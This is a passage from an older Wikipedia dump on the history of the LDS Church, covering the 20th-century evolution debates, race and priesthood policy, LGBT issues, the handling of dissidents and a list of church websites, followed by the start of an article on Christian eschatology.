The issue of evolution surfaced again in the early [[1930]]s, when there was an intense debate between liberal theologian and [[general authority]] [[B. H. Roberts]], an ardent proponent of evolution, and the more conservative theologian [[Joseph Fielding Smith]]. This prompted the [[First Presidency]], then led by [[Heber J. Grant]] as President, to conclude:

:Upon the fundamental doctrines of the Church we are all agreed. Our mission is to bear the message of the restored gospel to the world. Leave geology, biology, archaeology, and anthropology, no one of which has to do with the salvation of the souls of mankind, to scientific research, while we magnify our calling in the realm of the Church. . . 
:Upon one thing we should all be able to agree, namely, that Presidents Joseph F. Smith, John R. Winder, and Anthon H. Lund were right when they said: &quot;Adam is the primal parent of our race&quot; [First Presidency Minutes, Apr. 7, 1931].

Later, [[Joseph Fielding Smith]] published his book ''Man: His Origin and Destiny'', which denounced evolution without qualification. Similar statements of denunciation were made by [[Bruce R. McConkie]], who as late as [[1980]] denounced evolution as one of &quot;the seven deadly heresies&quot; (BYU [[Fireside (Mormonism)|Fireside]], June 1, 1980), and stated: &quot;There are those who say that revealed religion and organic evolution can be harmonized. This is both false and devilish.&quot; Evolution was also denounced by the very conservative [[Ezra Taft Benson]], who as an Apostle called on members to use the Book of Mormon to combat evolution and several times denounced evolution as a &quot;falsehood&quot; on a par with [[socialism]], [[rationalism]], and [[humanism]]. (Ezra Taft Benson, Conference Report, April 5, 1975).

Today, largely influenced by Smith, McConkie, and Benson, evolution is rejected by a large number of Church members, including highly educated members and even some bio- and paleo-science professors at Church-owned schools such as [[Brigham Young University]]. However, the Church still does not have an official position on how the Earth was created, and many devout Latter-day Saints have accepted evolution as a fact of history. See, e.g., Trent D. Stephens, D. Jeffrey Meldrum, &amp; Forrest B. Peterson, ''Evolution and Mormonism: A Quest for Understanding'' (Signature Books, 2001).

===The beginnings of the Church bureaucracy===
====New building programs====
*Constructing administration buildings
*Zions Securities Corporation (managing taxable Church properties)
*Corporation of the President (managing non-taxable Church properties)
====The early correlation movement====
*Priesthood editorial oversight of formerly priesthood-auxiliary-specific YMMIA, YLMIA, Relief Society, Primary, and Sunday School magazines.
*Adoption of the Boy Scout program (1911)
*Priesthood Committee on Outlines established for publishing lesson materials for each priesthood quorum
*Melchizedek Priesthood handbook (1928)
Priesthood-Auxiliary movement (1928-1937): re-emphasized the church hierarchy around Priesthood, and re-emphasized other church organizations as &quot;priesthood auxiliaries&quot; with reduced autonomy.

====The Church Educational System====
*As free public schools became available, the church closed or relinquished church-run &quot;stake academies&quot; and junior colleges in 1920s (except Rick's College and Brigham Young Academy).
*Building of seminaries on church property adjacent to public high schools (beginning 1912).
*Establishment of a General Board of Education
*Institutes of religion (beginning 1926 at University of Idaho)

====Church welfare systems====
*Relief Society's Social Services department (1920s--provided therapy, counseling, and adoption services)
*Church Security Program (1936)
*Welfare Program (1938)
*Welfare Services department (Social Services, employment and guidance programs, and health services)
*Military Relations Committee

===The Church and &quot;Lamanites&quot;===
During the post-[[World War II]] period, the Church also began to focus on expansion into a number of [[Native Americans in the United States|Native American]] cultures, as well as Oceanic cultures, which many Mormons considered to be the same ethnicity. These peoples were called &quot;Lamanites&quot;, because they were all thought to descend from the [[Lamanite]] group in the ''[[Book of Mormon]]''. In [[1947]], the Church began the [[Indian Placement Program]], where Native American students (upon request by their parents) were voluntarily placed in white Latter-day Saint foster homes during the school year, where they would attend public schools and become assimilated into Mormon culture.

In [[1955]], the Church began ordaining black [[Melanesia]]ns to the [[Priesthood (Latter-day Saint)|Priesthood]].

==Reacting and Adapting to the Postmodern World (c. 1960 and later)==
By the [[1960s]] and [[1970s]], as a consequence of its massive, international growth in the post-[[World War II]] era, the Church was no longer primarily a Utah-based church, but a world-wide organization. The church, mirroring the world around it, felt the disunifying strains of alien cultures and diverse points of view that had brought an end to the idealistic modern age. At the same time, the [[postmodernity|postmodern]] world was increasingly skeptical of traditional religion and authority, and driven by mass-media and public image. These influences awoke within the church a new self-consciousness. The Church could no longer rest quietly upon its fundamentals and history. It felt a need to sell its image to an increasingly jaded public, to jettison some of its Utah-based parochialism, to control and manage Mormon scholarship that might present an unfavorable image of the Church, and to alter its organization to cope with its size and cultural diversity, while preserving centralized control of Latter-day Saint doctrine, practice, and culture.

Thus, the Church underwent a number of important changes in organization, practices, and meeting schedule. In addition, the Church became more media-savvy, and more self-conscious and protective of its public image.  The Church also became more involved in public discourse, using its new-found political and cultural influence and the media to affect its image, public morality, and Mormon scholarship, and to promote its missionary efforts.  At the same time, the Church struggled with how to deal with increasingly pluralistic voices within the Church and within Mormonism. In general, this period has seen both an increase in cultural and racial diversity and extra-faith [[ecumenism]], and a decrease in intra-faith [[religious pluralism|pluralism]].

===Latter-day Saint ecumenism===
Until the Church's phenomenal growth after World War II, it had been seen in the eyes of the general public as a backward, non- or vaguely-[[Christianity|Christian]] polygamist cult in Utah -- an image that interfered with proselyting efforts. As the Church's size began to merit new visibility in the world, the Church seized upon the opportunity to re-define its public image, and to establish itself in the public mind as a mainstream Christian faith. At the same time, the Church became publicly involved in numerous ecumenical and welfare projects that continue to serve as the foundation of its ecumenism today.

====Moderation and assimilation of Mormon rhetoric====
As part of the Church's efforts to re-position its image as that of a mainstream religion, the Church began to moderate its earlier anti-[[Catholicism|Catholic]] rhetoric. In General Authority [[Bruce R. McConkie]]'s 1958 edition of ''Mormon Doctrine'', he had denounced the Catholic Church as &quot;the church of the devil&quot; and &quot;the great and abominable church&quot;. In his 1966 edition of the same book, this language was removed.

''See generally'': Armand L. Mauss, ''The Angel and the Beehive: The Mormon Strugle with Assimilation'' (Urbana: University of Illinois Press, 1994); Gordon Sheperd &amp; Gary Sheperd, &quot;Mormonism in Secular Society: Changing Patterns in Official Ecclesiastical Rhetoric,&quot; ''Review of Religious Research'' 26 (Sept. 1984): 28-42.

====Standardization of missionary discussions====
The first routinized system for teaching Church principles to potential proselytes had been created in 1953 and named &quot;A Systematic Program for Teaching the Gospel&quot;. In 1961, this system was enhanced, expanded, and renamed &quot;A Uniform System for Teaching Investigators&quot;. This new system, in the form of a hypothetical dialogue with a fictional character named &quot;Mr. Brown&quot;, included intricate details for what to say in almost every situation. These routinized missionary discussions would be further refined in 1973 and 1986, and then de-emphasized in 2003.

In 1973, the Church recast is missionary discussions, making them more family-friendly and focused on building on common Christian ideals.  The new discussions, named &quot;A Uniform System for Teaching Families&quot;, de-emphasized the [[Great Apostasy]], which previously held a prominent position just after the story of the [[First Vision]]. When the discussions were revised in the early 1980s, the new discussions dealt with the Apostasy less conspicuously, and in later discussions, rather than in the first discussion. The discussions also became more family-friendly, including a flip chart with pictures, in part to encourage the participation of children.

====Changes in the Endowment ceremony====   
In 1990, the Church revised the text of the [[Endowment (Mormonism)|Endowment ceremony]]. Whereas the ceremony had historically depicted a Christian minister as being in league with [[Lucifer]], the revised ceremony deleted all reference to the Christian minister. The new ceremony also deleted certain [[Freemasonry|Masonic]] references and blood oaths, which had been shocking to many traditional Christians.

====Emphasis on the name and significance of Jesus Christ====
In [[1982]], the Church renamed its edition of ''The Book of Mormon'' to ''The Book of Mormon: Another Testament of Jesus Christ'', in order to emphasize that the book is about Jesus.

[[image:Logo of the Church of Jesus Christ of Latter-day Saints (1995).gif|thumb|160px|1995 logo of the church, emphasizing the words &quot;Jesus Christ&quot;]]

[[image:Logo of the Church of Jesus Christ of Latter-day Saints (pre-1995).png|thumb|140px|Pre-1995 church logo]]

In [[1995]], the Church announced a new logo design that emphasized the words &quot;JESUS CHRIST&quot; in large capital letters, and de-emphasized the words &quot;The Church of&quot; and &quot;of Latter-day Saints&quot;. According to Bruce L. Olsen, director of public affairs for the Church, &quot;The logo re-emphasizes the official name of the Church and the central position of the Savior in its theology. It stresses our allegiance to the Lord, Jesus Christ.&quot;

On [[January 1]], [[2000]], the [[First Presidency]] and the [[Quorum of the Twelve Apostles]] released a proclamation entitled &quot;The Living Christ: The Testimony of the Apostles of The Church of Jesus Christ of Latter-day Saints&quot;. This document commemorated the birth of Jesus and set forth the Church's official view regarding Christ.

In [[2001]], the Church sent out a press release encouraging reporters to use the full name of the church at the beginning of news articles, with following references to the &quot;Church of Jesus Christ&quot;. The release discouraged the use of the term &quot;Mormon Church&quot;.

====Cooperation with Other Churches====
*The Church has opened its broadcasting facilities (Bonneville International) to other Christian groups, and has participated in the VISN Religious Interfaith Cable Television Network.
*The Church has participated in numerous joint humanitarian efforts with other Churches.
*Agreement not to baptize Holocaust victims by proxy

===Emerging Multiculturalism===
As the Church began to collide and meld with cultures outside of Utah and the United States, the Church began to jettison some of the parochialisms and prejudices that had become part of Latter-day Saint culture, but were not essential to [[Mormonism]]. In [[1971]], LDS [[Apostle (Mormonism)|Apostle]] and scholar [[Bruce R. McConkie]] drew parallels between the LDS Church and the New Testament church, who had difficulty embracing the [[Gentiles]] within [[Christianity]], and encouraged Saints not to be so indoctrinated with social customs that they fail to engage other cultures in [[Mormonism]].  Other peoples, he stated, &quot;have a different background than we have, which is of no moment to the Lord . . . . It is no different to have different social customs than it is to have different languages. . . . And the Lord knows all languages&quot;&lt;!--Need cite--&gt;. In [[1987]], [[Boyd K. Packer]], another Latter-day Saint [[Apostle (Mormonism)|Apostle]], stated, &quot;We can't move [into various countries] with a 1947 Utah Church! Could it be that we are not prepared to take the gospel because we are not prepared to take (and they are not prepared to receive) all of the things we have wrapped up with it as extra baggage?&quot;.  ''See'' 21 Dialogue 97 (Fall 1988).

During and after the [[American Civil Rights Movement]], the Church faced a critical point in its history, where its previous attitudes toward other cultures and people of color, which had once been shared by much of the white American mainstream, began to appear racist and neocolonial. The Church came under intense fire for its stances on blacks and native Americans issues.

====The Church and Blacks====
''Main article: [[Blacks and the Church of Jesus Christ of Latter-day Saints]].''

The cause of some of the Church's most damaging publicity had to do with the Church's policy of discrimination toward blacks, a policy that had begun during the administration of [[Brigham Young]]. Blacks were always officially welcome in the Church, and [[Joseph Smith, Jr.]] established an early precedent of ordained black males to the [[Priesthood (Mormonism)|Priesthood]]. Smith was also anti-slavery, going so far as to run on an anti-slavery platform as candidate for the presidency of the United States. At times, however, Smith had shown sympathy toward a belief common in his day that blacks were the cursed descendants of [[Cain]]. By the year [[1849]], Brigham Young and other Apostles introduced a policy that though blacks could be baptized, they and others could not be ordained to the Priesthood or enter [[Temple (Mormonism)|LDS temples]]. ''See'' [[Blacks and The Church of Jesus Christ of Latter-day Saints]]. Journal histories and public teachings of the time reflect that Young and others stated that God would some day reverse this policy of discrimination. &lt;!--May need to move the following to Blacks and the Church article:  --&gt;It is also important to note that while blacks as a whole were specifically withheld from priesthood blessings (although there were some exceptions to this policy in both the 1800s and 1900s), other races and genealogical lineages were also prohibited from holding the priesthood. Only those who were assigned to the tribes of Joseph, Judah and Levi had a right to hold the priesthood during various parts of the period.&lt;!--. . . .Need citations here. --&gt;

By the late [[1960s]], the Church had expanded into [[Brazil]], the [[Caribbean]], and the nations of [[Africa]], and was suffering criticism for its policy of racial discrimination.  In [[1969]] the [[Quorum of the Twelve Apostles]] and [[First Presidency]] voted to end the discriminatory policy; however, the move was later vetoed by First Counselor and later President [[Harold B. Lee]] on the grounds that a revelation was required for such a policy change.  On [[June 9]], [[1978]], under the administration of [[Spencer W. Kimball]], the Church leadership finally received this divine sanction to change the long-standing policy.  ''See'' [[Doctrine and Covenants]], OD-2.

Today, there are many black members of the Church, and many predominantly black congregations. In [[North America]], black members have organized branches of an official Church auxiliary called the [[Genesis Group]]s.

====The Church and Native Americans====
The Church's policy toward [[Native Americans in the United States|Native Americans]] also came under fire during the 1970s.  In particular, the Church was criticized for its [[Indian Placement Program]], where Native American students were voluntarily placed in white Latter-day Saint foster homes during the school year.  This program was criticized as [[neocolonialism|neocolonial]].  In [[1977]], the U.S. government commissioned a study to investigate accusations that the Church was using its influence to push children into joining the program.  However, the commission rejected these accusations and found that the program was beneficial in many cases, and provided well-balanced American education for thousands, allowing the children to return to their cultures and customs. One issue was that the time away from family caused the assimilation of Native American students into American culture, rather than allowing the children to learn within, and preserve, their own culture. By the late [[1980s]], the program had been in decline, and in [[1996]], it was discontinued. ''See'' '''[[Indian Placement Program]]'''.

In [[1981]], the Church published a new LDS edition of the [[Standard Works]] that changed a passage in ''The [[Book of Mormon]]'' that [[Lamanites]] (considered by many Latter-day Saints to be Native Americans) will &quot;become white and delightsome&quot; after accepting the gospel of Jesus Christ. Instead of continuing the original reference to skin color, the new edition replaced the word &quot;white&quot; with the word &quot;pure&quot;, emphasizing inward spirituality. ''See'' '''[[Lamanite]]'''.

===Centralization of Church Structure===
*[[Priesthood Correlation Program]]:  During the [[1960s]], the Church aggressively pursued its earlier Correlation Program that had begun in [[1908]], which streamlined and centralized the structure of the Church, making Church organizations such as the [[Relief Society]] less independent, and assigned them a supporting role under priesthood direction. The program also increased Church control over viewpoints taught in local church meetings.
*Emeritus status of general authorities who are too old or ill
*Reorganizing the quorums of seventy
*Dismantling ward and stake prayer circles (1978)

===Making Church Participation More Convenient===

====Consolidated Meeting Schedule====
In earlier times, Latter-day Saint meetings took place on Sunday morning and evening, with several meetings during the weekday. This arrangement was acceptable for Utah Saints, who generally lived within walking distance of a church building. Elsewhere other than Utah, however, this meeting schedule was seen as a logistical challenge. In [[1980]], the Church introduced the &quot;Consolidated Meeting Schedule&quot;, in which the majority of church meetings were held on Sunday during a three-hour block.

While promoting convenience and making church practice compatible with non-Utahns, this new schedule has been criticized for eroding fellowshipping opportunities among North American Latter-day Saint youth. This erosion, in turn, has been blamed for decreasing LDS participation of young women to below that of young men, and for a downward trend in the percentage of LDS males who accept the call to serve a full time mission.  ''See'' Quinn, ''Mormon Hierarchy: Extensions of Power''.

====Experiment in Shortening Full-Time Missionary Terms====
In 1982, the [[First Presidency]] announced that the length of service of male full-time [[missionaries]] would be reduced to 18 months. In 1984, a little more than 2 years later, it was announced that the length of service would be returned to its original length of 24 months ([http://www.dialoguejournal.com/excerpts/36-3a.asp]).

The change was publicized as a way to increase the ability for missionaries to serve.  At the time, missionaries paid for all their expenses in their country of service.  Recession during the Carter presidency pushed inflation higher and the exchange rate lower.  This sudden increase in costs together with already high costs of living in Europe and other industrialized nations resulted in a steady decline in the number of missionaries able to pay for two full years of service.  The shortening of the required service time from 24 to 18 months cut off this decline in numbers, leveling out in the period following the reinstatement.  For those in foreign missions, this was barely enough time to learn a more difficult language and difficulty with language was reported.

Nevertheless, the shortened period of time also had an impact on numbers of conversions: they declined by 7% annually during the same period.  Some also saw the shortening as a weakening of faithfulness among those who were eventually called as missionaries, less length meaning less commitment required in terms of faith.  However, it has also been seen as a recognition by the leadership of changes within the [[LDS]] cultural climate.  Young people were finding themselves not as connected to the activities and meetings that had set them apart from their peers.  Intensive meeting schedules during the week and all day Sunday had brought them into contact with the culture of church service and missions on an almost constant basis.  With the introduction of the shortened meeting schedule (a three hour block on Sundays), the loss of contact brought a decrease in activity among the age groups most likely to go on missions.

While the re-extension of mission terms was not a panacea for the problems of declining conversion numbers, a coordinated effort at improving youth attendance to activities on Sunday and other days of the week has seen both a record number of youth who serve missions (about 51,000 currently) and conversions (about 240,000 per year according to [http://www.lds.org/newsroom/showrelease/0,15503,3881-1-21259,00.html current church published statistics]).  Record economic growth starting in the mid-1980's mostly erased the problem of finances preventing service.  As a secondary measure, starting in 1990, paying for a mission became easier on those called to work in industrialized nations. Missionaries began paying into a church-wide general missionary fund instead of paying on their own.  This amount paid (about $400 currently) is used by the church to pay for the costs of all missionaries, wherever they go.  This enabled those going to Bolivia, whose average cost of living is about $100 per month, to help pay for those going to Japan, whose cost tops out at around $900 per month.  The funds also go towards printing and distribution of materials used by missionaries such as tracts and the [[Book of Mormon]], which are given out for free.

===Reacting to pluralism===

====The role of women====
''Main article: [[Women and the Church of Jesus Christ of Latter-day Saints]]''
*Allowing women to speak in Sacrament Meetings
*Opposition to the Equal Rights Amendment
*E.T.Benson's views on whether women should work outside the home
*&quot;The Family: A Proclamation to the World&quot;
*Women and the Priesthood
''See'' '''[[Women and the Church of Jesus Christ of Latter-day Saints]]'''

====The Church, sexual orientation, and gender identity====
=====Doctrinal position on homosexuality=====
*In 1968, the General Handbook of Instructions added &quot;homo-sexual acts&quot; to the list of sins for which excommunication was appropriate.
*Statements about homosexuality by Church leaders
*New views on the separation between gay &quot;identity&quot; and gay &quot;conduct&quot;

=====Connections with the ex-gay movement=====
*Unofficial and informal connections to the [[ex-gay]] movement: shock therapy experiments at BYU; formation of [[Evergreen International, Inc.]]
*Hinckley: &quot;Marriage should not be viewed as a therapeutic step to solve problems such as homosexual inclinations or practices, which first should clearly be overcome with a firm and fixed determination never to slip to such practices again.&quot;

=====The church and violence against LGBT people=====
In [[1976]], the church published a pamphlet containing a talk by [[Boyd K. Packer]], a member of the [[Quorum of the Twelve Apostles]], who praised the actions of a [[Mormon missionary]] who [[assault]]ed his companion who had been flirting with him. This pamphlet is still distributed by the church to young men.

Recently, however, President [[Gordon B. Hinckley]] has condemned hatred and violence against &quot;those who profess homosexual tendencies&quot;.

=====The church's political involvement in LGBT issues=====
In [[1992]], the [[First Presidency]] was involved in efforts to defeat a proposal which would include &quot;sexual orientation&quot; as a protected category in Utah's hate crime law.

Beginning in the mid-1990s, the Church began to focus its attention on the issue of [[same-sex marriage]]s. In [[1993]], the Supreme Court of the State of [[Hawaii]] held that discrimination against same-sex couples in the granting of marriage licences violated the Hawaiian constitution. In response, the Church's [[First Presidency]] issued a statement on [[February 13]], [[1994]] declaring its opposition to same-sex marriage, and urging its members to support efforts to outlaw gay and lesbian marriages. With the assistance of the LDS Church and several other religious organization, the Hawaiian legislature enacted a bill in [[1994]] outlawing same-sex marriages. Unofficially, the Church continued to oppose efforts in Hawaii to grant gay and lesbian families the right to enter [[civil union]]s with most of the same legal rights as heterosexual families, including adoption, child custody, and joint property rights.

As other states, including [[Vermont]] and [[Massachusetts]], began extending legal protections to same-sex couples, the Church continued to take an active role in preventing any legal recognition for families other than the heterosexual norm. In [[2004]], the Church officially endorsed an amendment to the [[United States Constitution]] banning marriage except between a man and a woman. The Church also officially announced its opposition to political measures that &quot;confer legal status on any other sexual relationship&quot; than a &quot;man and a woman lawfully wedded as husband and wife.&quot; (&quot;First Presidency Statement on Same-Gender Marriage&quot;, [[19 October]] [[2004]]). Although the statement was directed specifically to gay marriage, the statement could also be read to encompass political opposition by the Church to recognizing [[civil union]]s, [[common-law marriage]]s, [[plural marriage]]s, or other family arrangements.

=====LGBT Mormon support groups=====
While the Church's official stance has positioned it somewhat aloof from the interests of [[LGBT]] Mormons, some Church members have formed a number of unofficial support organizations. The most prominent organization, with roots beginning in the 1960s, is [[Affirmation: Gay &amp; Lesbian Mormons]], whose mission is to &quot;serve the needs of gay, lesbian, bisexual, and transgender LDS and their supportive family and friends through social and educational activities&quot;. Other support organizations include [[Gamofites]], an organization for gay Mormon fathers; [http://www.wearewildflowers.com Wildflowers], a group for wives and former wives of gay Mormons; and the [http://www.glya.com Gay LDS Young Adults], an organization of gay Mormons aged 18-30.

====Challenges to Fundamental Church Doctrine====
In [[1967]], a set of papyrus manuscripts were discovered in the [[Metropolitan Museum of Art]] that appear to be the manuscripts from which [[Joseph Smith, Jr.]] claimed to have translated the [[Book of Abraham]] in [[1835]]. These manuscripts were presumed lost in the Chicago fire of 1871. Analyzed by Egyptologists, the manuscripts were identified by some as ''The [[Book of the Dead]]'', an ancient Egyptian funery text. Moreover, the scholars' translations of certain portions of the scrolls disagreed with Smith's translation. This discovery rocked the community of Mormon scholars, and forced many Mormon apologists to moderate the earlier prevailing view that Smith's translations were literal one-to-one translations. As a result of this discovery, some Mormon apologists consider ''The Book of the Dead'' to be a starting-point that Smith used to reconstruct the original writings of Abraham through inspiration. ''See'' '''[[Book of Abraham]]''' and [http://www.jefflindsay.com/LDSFAQ/FQ_Abraham.shtml Jeff Lindsay's three-part series &quot;Questions about the Book of Abraham&quot;].

In the early [[1980s]], the Church was rocked again by the apparent discovery of an early Mormon manuscript called the &quot;[[Salamander Letter]]&quot;. This letter, reportedly discovered by a scholar named [[Mark Hofmann]], alleged that the ''[[Book of Mormon]]'' was given to [[Joseph Smith, Jr.]] by a being that changed itself into a [[salamander]], not by an [[angel]] as the official Church history recounted. &lt;!--Comment about Church reaction and apologetic explanations--&gt; The document was purchased by private collector Steven Christensen, but was still  significantly publicized and even printed in the Church's official magazine, The Ensign. Some Mormon apologists including [[Apostle (Mormonism)|Apostle]] [[Dallin H. Oaks]] suggested that the letter used the idea of a salamander as a metaphor for an angel. The document, however, was revealed as a forgery in [[1985]], and Hofmann was arrested for two murders related to his forgeries. 

Not all of Hofmann's finds have been deemed fraudulent. A document called the 'Anthon transcript' that allegedly contains [[reformed Egyptian]] characters from the Book of Mormon plates is still in dispute, although the characters have been highly circulated both by the Church and other individuals (see [[Reformed Egyptian]]). Due to Hofmann's methods, the authenticity of many of documents he sold to the Church and the Smithsonian will likely never be sorted out. For a more thorough discussion see [[Salamander Letter]] and [[Mark Hofmann]].

====Handling Mormon Dissidents and Scholars====
=====Excommunication of George P. Lee=====
In [[1989]], George P. Lee, a [[Navajo Nation|Navajo]] member of the First [[Quorums of the Seventy|Quorum of the Seventy]] who had participated in the Indian Placement Program in his youth, was excommunicated not long after he had submitted to the Church a 23-page letter critical of the program and the affect it had on Native American culture. However, this excommunication most likely had more to do with a charge of child molestation that surfaced at about the same time, to which he pleaded guilty and served time in prison for.

=====The Strengthening Church Members Committee: keeping files on the public statements of potential dissidents=====
In the late [[1980s]], the administration of [[Ezra Taft Benson]] formed what it called the Strengthening Church Members Committee, to keep files on potential church dissidents and collect their published material for possible later use in church disciplinary proceedings. The existence of this committee was first publicized by an [[anti-Mormonism|anti-Mormon]] ministry in [[1991]], when it was referred to in a memo dated [[July 19]], [[1990]] leaked from the office of the church's Presiding Bishopric.

At the [[1992]] Sunstone Symposium, dissident Mormon scholar [[Lavina Fielding Anderson]] accused the Committee of being &quot;an internal espionage system,&quot; which prompted [[Brigham Young University|BYU]] professor and moderate Mormon scholar [[Eugene England]] to &quot;accuse that committee of undermining the Church,&quot; a charge for which he later publically apologized (Letter to the Editor, ''Sunstone'', March 1993). The publicity concerning the statements of Anderson and England, however, prompted the church to officially acknowledge the existence of the Committee. (&quot;Mormon Church keeps files on its dissenters,&quot; ''St. Petersburg Times'', Aug. 15, 1992, at 6e.) The Church explained that the Committee &quot;provides local church leadership with information designed to help them counsel with members who, however well-meaning, may hinder the progress of the church through public criticism.&quot; (&quot;Secret Files,&quot; ''New York Times'', Aug. 22, 1992).

The [[First Presidency]] also issued a statement on [[August 22]], [[1992]], explaining its position that the Committee had precedent and was justified based on a reference to [[Doctrine and Covenants|D&amp;C]] (LDS) Sec. 123, written while [[Joseph Smith, Jr.]] was imprisoned in [[Liberty, Missouri]], suggesting that a committee be formed to record and document acts of persecution against the church by the people of [[Missouri]].

=====Other topics=====
*BYU academic freedom
*Statements against Sunstone
*Excommunication of scholars, including the [[September Six]]

====Dealing with Mormon Polygamist Sects====

===The Church and the Information Age===
&lt;!--This would include topics like how the Church seeks to battle pornography, its use of the internet, its battle to control its public image, broadcasting the Nauvoo temple dedication,  appearances on Larry King Live, etc.--&gt;
====The Church in the Media====
=====Newsweek cover story on Joseph Smith, Jr.=====
[[Joseph Smith Jr.]] is the subject of the cover of ''[[Newsweek]]'' Magazine, dated October 17, 2005 (but actually appearing one week earlier). The cover is a reproduction of a stained-glass window portraying the First Vision. Many opinions on Joseph Smith are quoted, ranging from the glowing tribute by LDS Church President [[Gordon B. Hinckley]] to very negative remarks by Mark Scherer, official historian of the [[Community of Christ]], formerly known as the Reorganized Church of Jesus Christ of Latter-day Saints (which was led more than a century by direct descendants of Joseph Smith Jr.)

====Using the Media for Political Influence====
&lt;!--This would include historical information about the Church's public stands on the ERA, alcohol, gambling, gay marriage, families, etc.--&gt;

====Church Infomercials====
*''Homefront''
*''Our Heavenly Father's Plan'', ''Together Forever'', ''What is Real'', ''Prodigal Son'', etc.
*Legacy, etc.

====The Church and Pornography====

====The Church and public relations====
[[image:Gordon B. Hinckley on Larry King Live (1998).jpg|thumb|250px|In 1998, Church President [[Gordon B. Hinckley]] appeared on [[Larry King Live]]. Courtesy Larry King Live.]]

*Hinkley's appearances on ''[[Larry King Live]]''
*Communication with foreign countries to allow entry of missionaries

====Novel uses of communications technology====
*Genealogy
*Broadcasting the Nauvoo temple dedication

====Church-owned Domain Names====
&lt;!--This would include root-level domain names owned by the LDS Church.--&gt;
*&lt;b&gt;Primary site:&lt;/b&gt; 
[http://www.lds.org LDS.org -- The Church of Jesus Christ of Latter-day Saints]

(Mirrors are located at [http://www.mormons.org Mormons.org], [http://www.mormonism.org Mormonism.org] and [http://www.ldschurch.org LDSChurch.org].)

*&lt;b&gt;Subsidiary sites:&lt;/b&gt; 

[http://www.besmart.com BeSmart.com -- Education Advocacy]

[http://www.dayofcelebration.com DayofCelebration.com -- 175th Anniversary Celebration]

[http://www.familysearch.org FamilySearch.org -- Genealogical Research]

[http://www.itsaboutlove.org ItsAboutLove.org -- Adoption Support]

[http://www.josephsmith.net JosephSmith.net -- Bicentential of Birth of Church Founder Joseph Smith Jr.]

[http://www.ldscatalog.com LDSCatalog.com -- Church Distribution]

[http://www.ldsces.org LDSCES.org -- Church Educational System]

[http://www.ldsphilanthropies.org LDSPhilanthropies.org -- Charitable Giving &amp; Humanitarian Service]

[http://www.ldsfoundation.org LDSFoundation.org -- Now forwards to newer LDS Philanthropies site]

[http://www.ldstemples.org LDSTemples.org -- Temple locations, schedules and FAQs]

[http://www.mormon.org Mormon.org -- Basic Theological Information]

[http://www.mormontabernaclechoir.org MormonTabernacleChoir.org -- Mormon Tabernacle Choir]

[http://www.musicandthespokenword.com MusicAndTheSpokenWord.com -- Music and the Spoken Word]

[http://www.providentliving.org ProvidentLiving.org -- Provident Living]

*&lt;b&gt;Tertiary sites, owned by organizations affiliated with the Church:&lt;/b&gt;
[http://www.byu.edu byu.edu -- Brigham Young University]

[http://www.byui.edu byui.edu -- BYU Idaho (formerly Ricks College)]

[http://www.ldsbc.edu ldsbc.edu -- LDS Business College]

[http://www.byuh.edu byuh.edu -- BYU-Hawaii]

[http://www.farmsresearch.com FARMSResearch.com -- Foundation for Ancient Research and Mormon Studies]

[http://www.deseretnews.com DeseretNews.com -- Deseret Morning News]

[http://www.bonneville.com Bonneville.com -- Bonneville Communications]

[http://www.ksl.com ksl.com -- KSL TV and Radio]

[http://www.byubroadcasting.org BYUBroadcasting.org -- BYU Broadcasting]

[http://www.byutv.org BYUTV.org -- BYU Television]

[http://www.byuradio.org BYURadio.org -- BYU Radio]

[http://www.kbyutv.org kbyutv.org -- KBYU Television]

[http://www.kbyufm.org kbyufm.org -- KBYU FM Radio]

[http://www.byubookstore.com BYUBookstore.com -- BYU Bookstore]

[http://www.deseretbook.com DeseretBook.com -- Deseret Bookstore]

[http://www.gospellink.com GospelLink.com -- Gospel Link]

[http://www.byucougars.com BYUCougars.com -- BYU Cougar Sports]

[http://www.hebervalleycamp.org HeberValleyCamp.org -- Young Women's Camp in N. Utah]

[http://www.historicnauvoo.net HistoricNauvoo.net -- Tourism info for Nauvoo, IL Church history site]

==References==
*[[Joseph Smith, Jr.|Smith, Joseph Smith, Jr.]] (1902). ''History of the Church'' 7 volumes; Deseret Book Company; ISBN 0875794866  (1902 Boxed Set, Paperback, 1991) [http://deseretbook.com/store/product?product_id=100015096 Current edition only available at Deseretbook.com]
*[[B. H. Roberts|Roberts, B. H.]] (1930). ''A Comprehensive History of The Church of Jesus Christ of Latter-day Saints, Century I'' 6 volumes; Brigham young University Press; ISBN 0842504826 (1930; Hardcover 1965) (out of print)
*[[Leonard J. Arrington|Arrington, Leonard J.]] (1958). ''Great Basin Kingdom: An Economic History of the Latter-day Saints, 1830-1900''; University of Illinois Press; ISBN 0252029720 (1958; Hardcover, October 2004).
*Allen, James and Leonard, Glen M. (1976, 1992) ''The Story of the Latter-day Saints''; Deseret Book; ISBN 087579565X [http://deseretbook.com/store/product?product_id=100010682 Current edition only available at Deseretbook.com]
*Arrington, Leonard J. (1979). ''The Mormon Experience: A History of the Latter-day Saints''; University of Illinois Press; ISBN 0252062361 (1979; Paperback, 1992)
*[[D. Michael Quinn|Quinn, D. Michael]] (1985), &quot;LDS Church Authority and New Plural Marriages, 1890-1904,&quot; ''Dialogue'' 18.1 (Spring 1985): 9-105.

==External links==
*The Church of Jesus Christ of Latter-day Saints, ''[http://scriptures.lds.org/chchrono/contents Chronology of Church History]'' (LDS Church, 2000).
*The Church of Jesus Christ of Latter-day Saints, ''[http://library.lds.org/nxt/gateway.dll/Curriculum/sunday%20school.htm/our%20heritage.htm Our Heritage: A Brief History of The Church of Jesus Christ of Latter-Day Saints]'' (LDS Church, 1996).

==See also==
*[[Controversies regarding Mormonism]]
*[[Latter Day Saint Historians]]
*[[Faith-promoting history (LDS)]]
*[[Temperance organizations]]

[[Category:Latter Day Saint history]]</text>
    </revision>
  </page>
  <page>
    <title>Christian eschatology</title>
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      <contributor>
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      <text xml:space="preserve">{{cleanup-date|July 2005}}
{{mergefrom|Summary of Christian eschatological differences}}
{{Christian theology}}
'''Christian eschatology''' (from the [[Greek language|Greek]] words {{polytonic|ἔσχατος}} [''eskhatos''] ''last'' and {{polytonic|λογία}} [''logia''] ''discourse'') is the study of [[Christianity|Christian]] beliefs concerning the final events and ultimate purposes of the world. In [[Christian theology]], [[eschatology]] is the study of the destiny of created things, especially of humankind and of the [[Church]], according to the purposes of [[God]].

==Last things==
The &quot;last things&quot; are important issues to Christian faith, although eschatology is a relatively recent development as a formal division of Christian theology.  

[[Epistle to the Romans]] 8 (ESV):

:19 For the creation waits with eager longing for the revealing of the sons of God. 
:20 For the creation was subjected to futility, not willingly, but because of him who subjected it, in hope 
:21 that the creation itself will be set free from its bondage to decay and obtain the freedom of the glory of the children of God. 
